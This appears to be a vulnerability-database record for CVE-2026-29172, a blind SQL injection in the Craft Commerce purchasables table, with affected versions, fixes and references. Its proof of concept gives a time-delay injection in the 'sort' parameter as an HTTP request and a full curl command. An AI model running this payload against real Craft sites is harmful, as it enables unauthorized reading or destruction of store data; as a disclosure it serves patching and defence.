{"id":"CVE-2026-29172","aliases":["GHSA-j3x5-mghf-xvfw"],"url":"https://o3.security/vulnerability/CVE-2026-29172","summary":"Craft Commerce has a SQL Injection in Commerce Purchasables Table Sorting","details":"## Summary\nCraft Commerce is vulnerable to **SQL Injection** in the purchasables table endpoint. The `sort` parameter is split by `|` and the first part (column name) is passed directly as an array key to `orderBy()` without whitelist validation. Yii2's query builder does **NOT** escape array keys, allowing an authenticated attacker to inject arbitrary SQL into the `ORDER BY` clause.\n\n---\n## PoC\n### Required Permissions\n- General\n\t- Access the control panel\n\t- Access Craft Commerce\n- Craft Commerce\n\t- Manage orders\n\t- Edit orders\n\n### Steps to reproduce\n1. Log in to the control panel\n2. Navigate to **Commerce** > **Orders** > Create a new order\n3. Click on \"Add a line item\" to show the purchasables table\n4. Intercept the AJAX request and modify the `sort` parameter as follows:\n```http\nGET /index.php?p=admin/actions/commerce/orders/purchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(2))|asc\n```\n5. Observe the delay in the response, confirming the injection\n\nAlternatively, you can use the following `curl` (bash syntax) command (replace cookie and target domain as needed):\n```bash\ncurl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'<Cookie>' $'http://craft.local/index.php?p=admin%2Factions%2Fcommerce%2Forders%2Fpurchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(5))|asc'\n```\n\n### Impact\nWith this Blind SQLi, an attacker can:\n- **Exfiltrate data** character-by-character (same technique as [GHSA-pmgj-gmm4-jh6j](https://github.com/craftcms/commerce/security/advisories/GHSA-pmgj-gmm4-jh6j)).\n- **Modify or destroy data** (drop tables, update records, alter schema).","published":"2026-03-10T19:52:32.735Z","modified":"2026-08-12T03:51:38.379216076Z","cvss":null,"epss":{"score":0.00421,"percentile":0.3591,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"craftcms/commerce","fixedVersion":"4.10.2"},{"ecosystem":"Packagist","name":"craftcms/commerce","fixedVersion":"5.5.3"}],"fix":{"url":"https://github.com/craftcms/commerce/commit/b231b920b73db023e81e5b261b894d73e865c276","label":"craftcms/commerce@b231b92"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/29xxx/CVE-2026-29172.json"},{"type":"ADVISORY","url":"https://github.com/craftcms/commerce/security/advisories/GHSA-j3x5-mghf-xvfw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29172"},{"type":"FIX","url":"https://github.com/craftcms/commerce/commit/b231b920b73db023e81e5b261b894d73e865c276"},{"type":"FIX","url":"https://github.com/craftcms/commerce/commit/e4e0f4107cd895d29290523637f077fe280407b1"},{"type":"PACKAGE","url":"https://github.com/craftcms/commerce"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:38.379216076Z"}}